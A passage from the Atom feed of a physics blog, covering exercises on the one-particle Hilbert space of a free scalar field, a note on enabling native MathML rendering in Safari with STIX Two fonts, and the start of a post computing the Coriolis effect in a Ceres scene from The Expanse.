  604. for some real function <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>f</mi> <mi>i</mi></msub></mrow><annotation encoding='application/x-tex'>f_i</annotation></semantics></math>. What is <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>f</mi> <mi>i</mi></msub><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>f_i(\vec{k})</annotation></semantics></math>?</li>
  605. <li>Define <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>J</mi> <mn>0</mn></msup><mo stretchy="false">(</mo><mover><mi>r</mi><mo stretchy="false">&#x02192;</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>J^0(\vec{r})</annotation></semantics></math> to be the probability density. That is, when the particle is in state <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mo stretchy="false">&#x0007C;</mo><mi>&#x03D5;</mi><mo stretchy="false">&#x027E9;</mo></mrow><annotation encoding='application/x-tex'>|\phi\rangle</annotation></semantics></math>, the probability for finding it in some Borel subset <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>S</mi><mo>&#x02282;</mo><msup><mi>&#x0211D;</mi> <mn>3</mn></msup></mrow><annotation encoding='application/x-tex'>S\subset\mathbb{R}^3</annotation></semantics></math> is given by
  606. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mtext>Prob</mtext><mo stretchy="false">(</mo><mi>S</mi><mo stretchy="false">)</mo><mo>=</mo><msub><mo>&#x0222B;</mo> <mi>S</mi></msub><msup><mi>d</mi> <mn>3</mn></msup><mover><mi>r</mi><mo stretchy="false">&#x02192;</mo></mover><msup><mi>J</mi> <mn>0</mn></msup><mo stretchy="false">(</mo><mover><mi>r</mi><mo stretchy="false">&#x02192;</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>
  607.   \text{Prob}(S) = \int_S d^3\vec{r} J^0(\vec{r})
  608. </annotation></semantics></math>
  609. Obviously, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>J</mi> <mn>0</mn></msup><mo stretchy="false">(</mo><mover><mi>r</mi><mo stretchy="false">&#x02192;</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>J^0(\vec{r})</annotation></semantics></math> must take the form
  610. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msup><mi>J</mi> <mn>0</mn></msup><mo stretchy="false">(</mo><mover><mi>r</mi><mo stretchy="false">&#x02192;</mo></mover><mo stretchy="false">)</mo><mo>=</mo><mo>&#x0222B;</mo><mfrac><mrow><msup><mi>d</mi> <mn>3</mn></msup><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover><msup><mi>d</mi> <mn>3</mn></msup><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover><mo>&#x02032;</mo></mrow><mrow><msup><mrow><mo stretchy="false">(</mo><mn>2</mn><mi>&#x003C0;</mi><mo stretchy="false">)</mo></mrow> <mn>6</mn></msup><mn>4</mn><msqrt><mrow><msup><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt><msqrt><mrow><msup><mrow><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover><mo>&#x02032;</mo></mrow> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt></mrow></mfrac><mi>g</mi><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover><mo>,</mo><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover><mo>&#x02032;</mo><mo stretchy="false">)</mo><msup><mi>e</mi> <mrow><mi>i</mi><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover><mo>&#x02212;</mo><mover><mrow><mi>k</mi><mo>&#x02032;</mo></mrow><mo stretchy="false">&#x02192;</mo></mover><mo stretchy="false">)</mo><mo>&#x022C5;</mo><mover><mi>r</mi><mo stretchy="false">&#x02192;</mo></mover></mrow></msup><mi>&#x03D5;</mi><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover><mo stretchy="false">)</mo><mi>&#x03D5;</mi><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover><mo>&#x02032;</mo><msup><mo stretchy="false">)</mo> <mo>*</mo></msup></mrow><annotation encoding='application/x-tex'>
  611. J^0(\vec{r}) = \int\frac{d^3\vec{k}d^3\vec{k}&apos;}{{(2\pi)}^6 4\sqrt{\vec{k}^2+m^2}\sqrt{{\vec{k}&apos;}^2+m^2}} g(\vec{k},\vec{k}&apos;) e^{i(\vec{k}&#x2d;\vec{k&apos;})\cdot\vec{r}}\phi(\vec{k})\phi(\vec{k}&apos;)^*
  612. </annotation></semantics></math>
  613. Find <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>g</mi><mo stretchy="false">(</mo><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover><mo>,</mo><mover><mi>k</mi><mo stretchy="false">&#x02192;</mo></mover><mo>&#x02032;</mo><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>g(\vec{k},\vec{k}&apos;)</annotation></semantics></math>. (Hint: you need to diagonalize the operator <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>x</mi><mo stretchy="false">&#x02192;</mo></mover></mrow><annotation encoding='application/x-tex'>\vec{x}</annotation></semantics></math> that you found in problem 1.)</li>
  614. <li>The conservation of probability says
  615. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mn>0</mn><mo>=</mo><msub><mo>&#x02202;</mo> <mi>t</mi></msub><msup><mi>J</mi> <mn>0</mn></msup><mo>+</mo><msub><mo>&#x02202;</mo> <mi>i</mi></msub><msup><mi>J</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>
  616. 0=\partial_t J^0 + \partial_i J^i
  617. </annotation></semantics></math>
  618. Use the Schr&#xf6;dinger equation (<a href="#e2943:Schroedinger">1</a>) to find <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>J</mi> <mi>i</mi></msup><mo stretchy="false">(</mo><mover><mi>r</mi><mo stretchy="false">&#x02192;</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>J^i(\vec{r})</annotation></semantics></math>.</li>
  619. <li>Under Lorentz transformations, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>H</mi> <mn>0</mn></msub></mrow><annotation encoding='application/x-tex'>H_0</annotation></semantics></math> and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>p</mi><mo stretchy="false">&#x02192;</mo></mover></mrow><annotation encoding='application/x-tex'>\vec{p}</annotation></semantics></math> transform as the components of a 4-vector. For a boost in the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>z</mi></mrow><annotation encoding='application/x-tex'>z</annotation></semantics></math>-direction, of rapidity <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003BB;</mi></mrow><annotation encoding='application/x-tex'>\lambda</annotation></semantics></math>, we should have
  620. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mrow><mtable displaystyle="true" columnalign="right left right left right left right left right left" columnspacing="0em"><mtr><mtd><msub><mi>U</mi> <mi>&#x003BB;</mi></msub><msqrt><mrow><msup><mover><mi>p</mi><mo stretchy="false">&#x02192;</mo></mover> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt><msubsup><mi>U</mi> <mi>&#x003BB;</mi> <mrow><mo lspace="0.11111em" rspace="0em">&#x02212;</mo><mn>1</mn></mrow></msubsup></mtd> <mtd><mo>=</mo><mi>cosh</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo stretchy="false">)</mo><msqrt><mrow><msup><mover><mi>p</mi><mo stretchy="false">&#x02192;</mo></mover> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt><mo>+</mo><mi>sinh</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo stretchy="false">)</mo><msub><mi>p</mi> <mn>3</mn></msub></mtd></mtr> <mtr><mtd><msub><mi>U</mi> <mi>&#x003BB;</mi></msub><msub><mi>p</mi> <mn>1</mn></msub><msubsup><mi>U</mi> <mi>&#x003BB;</mi> <mrow><mo lspace="0.11111em" rspace="0em">&#x02212;</mo><mn>1</mn></mrow></msubsup></mtd> <mtd><mo>=</mo><msub><mi>p</mi> <mn>1</mn></msub></mtd></mtr> <mtr><mtd><msub><mi>U</mi> <mi>&#x003BB;</mi></msub><msub><mi>p</mi> <mn>2</mn></msub><msubsup><mi>U</mi> <mi>&#x003BB;</mi> <mrow><mo lspace="0.11111em" rspace="0em">&#x02212;</mo><mn>1</mn></mrow></msubsup></mtd> <mtd><mo>=</mo><msub><mi>p</mi> <mn>3</mn></msub></mtd></mtr> <mtr><mtd><msub><mi>U</mi> <mi>&#x003BB;</mi></msub><msub><mi>p</mi> <mn>3</mn></msub><msubsup><mi>U</mi> <mi>&#x003BB;</mi> <mrow><mo lspace="0.11111em" rspace="0em">&#x02212;</mo><mn>1</mn></mrow></msubsup></mtd> <mtd><mo>=</mo><mi>sinh</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo stretchy="false">)</mo><msqrt><mrow><msup><mover><mi>p</mi><mo stretchy="false">&#x02192;</mo></mover> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt><mo>+</mo><mi>cosh</mi><mo stretchy="false">(</mo><mi>&#x003BB;</mi><mo stretchy="false">)</mo><msub><mi>p</mi> <mn>3</mn></msub></mtd></mtr></mtable></mrow></mrow><annotation encoding='application/x-tex'>
  621. \begin{split}
  622. U_\lambda \sqrt{\vec{p}^2+m^2} U_\lambda^{&#x2d;1} &amp;= \cosh(\lambda) \sqrt{\vec{p}^2+m^2} + \sinh(\lambda) p_3\\
  623. U_\lambda p_1 U_\lambda^{&#x2d;1} &amp;= p_1\\
  624. U_\lambda p_2 U_\lambda^{&#x2d;1} &amp;= p_3\\
  625. U_\lambda p_3 U_\lambda^{&#x2d;1} &amp;= \sinh(\lambda) \sqrt{\vec{p}^2+m^2} + \cosh(\lambda) p_3
  626. \end{split}
  627. </annotation></semantics></math>
  628. and we should be able to write <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>U</mi> <mi>&#x003BB;</mi></msub><mo>=</mo><msup><mi>e</mi> <mrow><mi>i</mi><mi>&#x003BB;</mi><mi>B</mi></mrow></msup></mrow><annotation encoding='application/x-tex'>U_\lambda = e^{i\lambda B}</annotation></semantics></math> for some self-adjoint operator, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>B</mi></mrow><annotation encoding='application/x-tex'>B</annotation></semantics></math>. What is <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>B</mi></mrow><annotation encoding='application/x-tex'>B</annotation></semantics></math>? (N.B.: by contrast the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>x</mi> <mi>i</mi></msup></mrow><annotation encoding='application/x-tex'>x^i</annotation></semantics></math>, introduced above, do <em>not</em> transform in a simple way under Lorentz transformations.)</li>
  629. </ol>
  630.  
  631. <p>The Hilbert space of a free scalar field is now <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msubsup><mo lspace="0.16667em" rspace="0.16667em">&#x02A01;</mo> <mrow><mi>n</mi><mo>=</mo><mn>0</mn></mrow> <mn>&#x0221E;</mn></msubsup><msup><mtext>Sym</mtext> <mi>n</mi></msup><mi>&#x0210B;</mi></mrow><annotation encoding='application/x-tex'>\bigoplus_{n=0}^\infty \text{Sym}^n\mathcal{H}</annotation></semantics></math>. That&#8217;s perhaps not the easiest way to get there. But it is a way &#8230;</p>
  632.  
  633. <h4 id="RespU1" class="update">Update:</h4>
  634.  
  635. <p>Yike! Well, that went south pretty fast. For the first time (ever, I think) I&#8217;m closing comments on this one, and calling it a day. To summarize, for those who still care,</p>
  636.  
  637. <ol>
  638. <li>There is a decomposition of the Hilbert space of a Free Scalar field as
  639. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>&#x0210B;</mi> <mi>&#x03D5;</mi></msub><mo>=</mo><munderover><mo lspace="0.16667em" rspace="0.16667em">&#x02A01;</mo> <mrow><mi>n</mi><mo>=</mo><mn>0</mn></mrow> <mn>&#x0221E;</mn></munderover><msub><mi>&#x0210B;</mi> <mi>n</mi></msub></mrow><annotation encoding='application/x-tex'>
  640.    \mathcal{H}_\phi = \bigoplus_{n=0}^\infty \mathcal{H}_n
  641.   </annotation></semantics></math>
  642. where
  643. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>&#x0210B;</mi> <mi>n</mi></msub><mo>=</mo><msup><mtext>Sym</mtext> <mi>n</mi></msup><mi>&#x0210B;</mi></mrow><annotation encoding='application/x-tex'>
  644.   \mathcal{H}_n = \text{Sym}^n \mathcal{H}
  645.   </annotation></semantics></math>
  646. and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0210B;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{H}</annotation></semantics></math> is 1-particle Hilbert space described above (also known as the spin-<math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mn>0</mn></mrow><annotation encoding='application/x-tex'>0</annotation></semantics></math>, mass-<math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>m</mi></mrow><annotation encoding='application/x-tex'>m</annotation></semantics></math>,
  647. irreducible unitary representation of Poincar&#x000E9;).</li>
  648. <li>The Hamiltonian of the Free Scalar field is the direct sum of the induced Hamiltonia on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x0210B;</mi> <mi>n</mi></msub></mrow><annotation encoding='application/x-tex'>\mathcal{H}_n</annotation></semantics></math>, induced
  649. from the Hamiltonian, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>H</mi><mo>=</mo><msqrt><mrow><msup><mover><mi>p</mi><mo stretchy="false">&#x02192;</mo></mover> <mn>2</mn></msup><mo>+</mo><msup><mi>m</mi> <mn>2</mn></msup></mrow></msqrt></mrow><annotation encoding='application/x-tex'>H=\sqrt{\vec{p}^2+m^2}</annotation></semantics></math>, on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0210B;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{H}</annotation></semantics></math>. In particular, it (along with the other
  650. Poincar&#x000E9; generators) is block-diagonal with respect to this decomposition.</li>
  651. <li>There are other interesting observables which are also block-diagonal, with respect to this decomposition
  652. (i.e., don&#8217;t change the particle number) and hence we can discuss their restriction to <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x0210B;</mi> <mi>n</mi></msub></mrow><annotation encoding='application/x-tex'>\mathcal{H}_n</annotation></semantics></math>.</li>
  653. </ol>
  654.  
  655. <p>Gotta keep reminding myself why I decided to foreswear blogging&#8230;</p>
  656.  
  657.      </div>
  658.    </content>
  659.  </entry>
  660.  <entry>
  661.    <title type="html">MathML Update</title>
  662.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002926.html" />
  663.    <updated>2016-12-14T15:00:56Z</updated>
  664.    <published>2016-12-04T14:56:38-06:00</published>
  665.    <id>tag:golem.ph.utexas.edu,2016:%2F~distler%2Fblog%2F1.2926</id>
  666.    <summary type="text">Native MathML rendering in Safari</summary>
  667.    <author>
  668.      <name>distler</name>
  669.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  670.      <email>[email protected]</email>
  671.    </author>
  672.    <category term="MathML" />
  673.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002926.html">
  674.      <div xmlns="http://www.w3.org/1999/xhtml">
  675. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  676.  
  677. <p>For a while now, <a href="http://frederic-wang.fr/">Fr&#x000E9;d&#x000E9;ric Wang</a> has been urging me to enable native <acronym title="Mathematical Markup Language">MathML</acronym> rendering for Safari. He and <a href="https://www.igalia.com/">his colleagues</a> have made many improvements to Webkit&#8217;s <acronym>MathML</acronym> support. But there were at least two show-stopper bugs that prevented me from flipping the switch.</p>
  678.  
  679. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  680.  
  681. <p>Fortunately:</p>
  682.  
  683. <ul>
  684. <li>The <a href="http://stixfonts.org/">STIX Two fonts</a> were released this week. They represent a big improvement on Version 1, and are finally definitively better than LatinModern for displaying <acronym>MathML</acronym> on the web. Most interestingly, they fix <a href="https://bugs.webkit.org/show_bug.cgi?id=161189">this bug</a>. That means I can bundle these fonts<sup><a href="#MMLf1">1</a></sup>, solving both that problem and the more generic problem of users not having a good set of Math fonts installed.</li>
  685. <li>Thus inspired, I wrote a little <a href="https://golem.ph.utexas.edu/~distler/code/instiki/svn/revision/887#public/javascripts/page_helper.js">Javascript polyfill</a> to fix <a href="https://bugs.webkit.org/show_bug.cgi?id=160075">the other bug</a>.</li>
  686. </ul>
  687.  
  688. <p>While there are still a lot of remaining issues (for instance <del><a href="https://bugs.webkit.org/show_bug.cgi?id=160547">this one</a></del> <ins><a href="https://golem.ph.utexas.edu/~distler/code/instiki/svn/revision/892/public/javascripts/page_helper.js">fixed</a></ins>), I think Safari&#8217;s native <acronym>MathML</acronym> rendering is now good enough for everyday use (and, in enough respects, superior to <a href="http://www.mathjax.org">MathJax</a>&#8217;s) to enable it <em>by default</em> in <a href="https://golem.ph.utexas.edu/wiki/instiki/show/HomePage">Instiki</a>, <a href="https://golem.ph.utexas.edu/forum/">Heterotic Beast</a> and on this blog.</p>
  689.  
  690. <p>Of course, you&#8217;ll need to be using<sup><a href="#MMLf2">2</a></sup> Safari 10.1 or <a href="https://developer.apple.com/safari/download/">Safari Technology Preview</a>. </p>
  691.  
  692. <div id="MathMLU1" class="update"><h4>Update:</h4> Another nice benefit of STIX Two fonts is that <a href="https://golem.ph.utexas.edu/~distler/blog/itex2MMLcommands.html">itex</a> can support both Chancery (<code>\mathcal{}</code>) and Roundhand (<code>\mathscr{}</code>) symbols
  693. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mrow><mtable displaystyle="true" columnalign="right left right left right left right left right left" columnspacing="0em"><mtr><mtd><mo>&#x0005C;</mo><mstyle mathvariant="monospace"><mi>mathcal</mi></mstyle><mo stretchy="false">{</mo><mo stretchy="false">}</mo><mo>:</mo></mtd> <mtd><mspace width="0.16667em"/><mi>&#x1D49C;&#x0212C;&#x1D49E;&#x1D49F;&#x02130;&#x02131;&#x1D4A2;&#x0210B;&#x02110;&#x1D4A5;&#x1D4A6;&#x02112;&#x02133;&#x1D4A9;&#x1D4AA;&#x1D4AB;&#x1D4AC;&#x0211B;&#x1D4AE;&#x1D4AF;&#x1D4B0;&#x1D4B1;&#x1D4B2;&#x1D4B3;&#x1D4B4;&#x1D4B5;</mi></mtd></mtr> <mtr><mtd><mo>&#x0005C;</mo><mstyle mathvariant="monospace"><mi>mathscr</mi></mstyle><mo stretchy="false">{</mo><mo stretchy="false">}</mo><mo>:</mo></mtd> <mtd><mspace width="0.16667em"/><mi class='mathscript'>&#x1D49C;&#x0212C;&#x1D49E;&#x1D49F;&#x02130;&#x02131;&#x1D4A2;&#x0210B;&#x02110;&#x1D4A5;&#x1D4A6;&#x02112;&#x02133;&#x1D4A9;&#x1D4AA;&#x1D4AB;&#x1D4AC;&#x0211B;&#x1D4AE;&#x1D4AF;&#x1D4B0;&#x1D4B1;&#x1D4B2;&#x1D4B3;&#x1D4B4;&#x1D4B5;</mi></mtd></mtr></mtable></mrow></mrow><annotation encoding='application/x-tex'>
  694. \begin{split}
  695. \backslash\mathtt{mathcal}\{\}:&amp;\,\mathcal{ABCDEFGHIJKLMNOPQRSTUVWXYZ}\\
  696. \backslash\mathtt{mathscr}\{\}:&amp;\,\mathscr{ABCDEFGHIJKLMNOPQRSTUVWXYZ}
  697. \end{split}
  698. </annotation></semantics></math></div>
  699.  
  700. <hr/>
  701.  
  702. <div id="MMLf1" class="footnote"><p><sup>1</sup> In an ideal world, <abbr title="Operating System">OS</abbr> vendors would bundle the STIX Two fonts with their next release (as Apple previously bundled the STIX fonts with MacOSX &#x2265;10.7) and motivated users would download and <a href="http://stixfonts.org/install.html">install</a> them in the meantime.</p></div>
  703.  
  704. <div id="MMLf2" class="footnote"><p><sup>2</sup> N.B.: We&#8217;re not browser-sniffing (anymore). We&#8217;re just checking for <acronym>MathML</acronym> support comparable to <a href="https://trac.webkit.org/changeset/203640">Webkit version 203640</a>. If Google (for instance) decided to <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=6606">re-enable <acronym>MathML</acronym> support in Chrome</a>, that would work too.</p></div>
  705.  
  706.      </div>
  707.    </content>
  708.  </entry>
  709.  <entry>
  710.    <title type="html">Coriolis</title>
  711.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002890.html" />
  712.    <updated>2016-06-17T23:10:56Z</updated>
  713.    <published>2016-06-14T16:40:08-06:00</published>
  714.    <id>tag:golem.ph.utexas.edu,2016:%2F~distler%2Fblog%2F1.2890</id>
  715.    <summary type="text">The Coriolis Effect on Syfy.</summary>
  716.    <author>
  717.      <name>distler</name>
  718.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  719.      <email>[email protected]</email>
  720.    </author>
  721.    <category term="Life" />
  722.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002890.html">
  723.      <div xmlns="http://www.w3.org/1999/xhtml">
  724. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  725.  
  726. <p>I really like the science fiction TV series <a href="http://www.syfy.com/theexpanse">The Expanse</a>. In addition to a good plot and a convincing vision of human society two centuries hence, it depicts, as Phil Plait <a href="http://www.slate.com/blogs/bad_astronomy/2015/12/14/the_expanse_syfy_s_next_big_thing.html">observes</a>, a lot of good science in a matter-of-fact, almost off-hand fashion. But one scene (really, just a few dialogue-free seconds in a longer scene) has been bothering me. In it, Miller, the hard-boiled detective living on <a href="https://en.wikipedia.org/wiki/Ceres_%28dwarf_planet%29">Ceres</a>, pours himself a drink. And we see &#8212; as the whiskey slowly pours from the bottle into the glass &#8212; that the artificial gravity at the lower levels (where the poor people live) is significantly weaker than near the surface (where the rich live) <em>and</em> that there&#8217;s a significant Coriolis effect. Unfortunately, the effect depicted is 3 orders-of-magnitude too big.</p>
  727.  
  728. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  729.  
  730. <div id="CoriolisI1" style="width:480pt; max-width: 90%; position:relative; margin:auto"><img style="width:480pt; max-width: 100%;" src="https://golem.ph.utexas.edu/~distler/blog/images/coriolis.jpg" alt="Pouring a drink on Ceres. Significant Coriolis deflection is apparent."/></div>
  731.  
  732. <p>To explain, six million residents inhabit the interior of the asteroid, which has been spun up to provide an artificial gravity. Ceres has a radius, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>R</mi> <mi>C</mi></msub><mo>=</mo><mn>4.73</mn><mo>&#x000D7;</mo><msup><mn>10</mn> <mn>5</mn></msup></mrow><annotation encoding='application/x-tex'>R_C = 4.73\times 10^5</annotation></semantics></math> m and a surface gravity <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>g</mi> <mi>C</mi></msub><mo>=</mo><mn>.27</mn><mspace width="0.16667em"/><mtext>m</mtext><mo stretchy="false">/</mo><msup><mtext>s</mtext> <mn>2</mn></msup></mrow><annotation encoding='application/x-tex'>g_C=.27\,\text{m}/\text{s}^2</annotation></semantics></math>. The rotational period is supposed to be 40 minutes (<math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003C9;</mi><mo>&#x0223C;</mo><mn>2.6</mn><mo>&#x000D7;</mo><msup><mn>10</mn> <mrow><mo lspace="0.11111em" rspace="0em">&#x02212;</mo><mn>3</mn></mrow></msup><mspace width="0.16667em"/><mo stretchy="false">/</mo><mtext>s</mtext></mrow><annotation encoding='application/x-tex'>\omega\sim 2.6\times 10^{&#x2d;3}\, /\text{s}</annotation></semantics></math>). Near the surface, this yields <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>&#x003C9;</mi> <mn>2</mn></msup><msub><mi>R</mi> <mi>C</mi></msub><mo stretchy="false">(</mo><mn>1</mn><mo>&#x02212;</mo><msup><mi>&#x003F5;</mi> <mn>2</mn></msup><mo stretchy="false">)</mo><mo>&#x02261;</mo><msup><mi>&#x003C9;</mi> <mn>2</mn></msup><msub><mi>R</mi> <mi>C</mi></msub><mo>&#x02212;</mo><msub><mi>g</mi> <mi>C</mi></msub><mo>&#x0223C;</mo><mn>0.3</mn></mrow><annotation encoding='application/x-tex'>\omega^2 R_C(1&#x2d;\epsilon^2)\equiv \omega^2 R_C &#x2d;g_C \sim 0.3</annotation></semantics></math> g. On the innermost level, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>R</mi><mo>=</mo><mstyle displaystyle="false"><mfrac><mn>1</mn><mn>3</mn></mfrac></mstyle><msub><mi>R</mi> <mi>C</mi></msub></mrow><annotation encoding='application/x-tex'>R=\tfrac{1}{3} R_C</annotation></semantics></math>, and the effective artificial gravity is only 0.1 g.</p>
  733.  
  734. <div style="width:480pt; max-width: 90%; position:relative; margin:auto"><img style="width:480pt; max-width: 100%;" src="https://golem.ph.utexas.edu/~distler/blog/images/ceres.jpg" alt="Ceres Station, dug into the interior of the asteroid."/></div>
  735.  
  736. <p>So how big is the Coriolis effect in this scenario?</p>
  737.  
  738. <p>The equations<sup><a href="#CoriolisF1">1</a></sup> to be solved are</p>
  739.  
  740. <div class="numberedEq" id="e2890:FeMA"><span>(1)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mrow><mtable displaystyle="true" columnalign="right left right left right left right left right left" columnspacing="0em"><mtr><mtd><mfrac><mrow><msup><mi>d</mi> <mn>2</mn></msup><mi>x</mi></mrow><mrow><mi>d</mi><msup><mi>t</mi> <mn>2</mn></msup></mrow></mfrac></mtd> <mtd><mo>=</mo><msup><mi>&#x003C9;</mi> <mn>2</mn></msup><mo stretchy="false">(</mo><mn>1</mn><mo>&#x02212;</mo><msup><mi>&#x003F5;</mi> <mn>2</mn></msup><mo stretchy="false">)</mo><mi>x</mi><mo>&#x02212;</mo><mn>2</mn><mi>&#x003C9;</mi><mfrac><mrow><mi>d</mi><mi>y</mi></mrow><mrow><mi>d</mi><mi>t</mi></mrow></mfrac></mtd></mtr> <mtr><mtd><mfrac><mrow><msup><mi>d</mi> <mn>2</mn></msup><mi>y</mi></mrow><mrow><mi>d</mi><msup><mi>t</mi> <mn>2</mn></msup></mrow></mfrac></mtd> <mtd><mo>=</mo><msup><mi>&#x003C9;</mi> <mn>2</mn></msup><mo stretchy="false">(</mo><mn>1</mn><mo>&#x02212;</mo><msup><mi>&#x003F5;</mi> <mn>2</mn></msup><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>y</mi><mo>&#x02212;</mo><mi>R</mi><mo stretchy="false">)</mo><mo>+</mo><mn>2</mn><mi>&#x003C9;</mi><mfrac><mrow><mi>d</mi><mi>x</mi></mrow><mrow><mi>d</mi><mi>t</mi></mrow></mfrac></mtd></mtr></mtable></mrow></mrow><annotation encoding='application/x-tex'>\begin{split}
  741. \frac{d^2 x}{d t^2}&amp;= \omega^2(1&#x2d;\epsilon^2) x &#x2d; 2 \omega \frac{d y}{d t}\\
  742. \frac{d^2 y}{d t^2}&amp;= \omega^2(1&#x2d;\epsilon^2) (y&#x2d;R) + 2 \omega \frac{d x}{d t}
  743. \end{split}
  744. </annotation></semantics></math></div>
  745.  
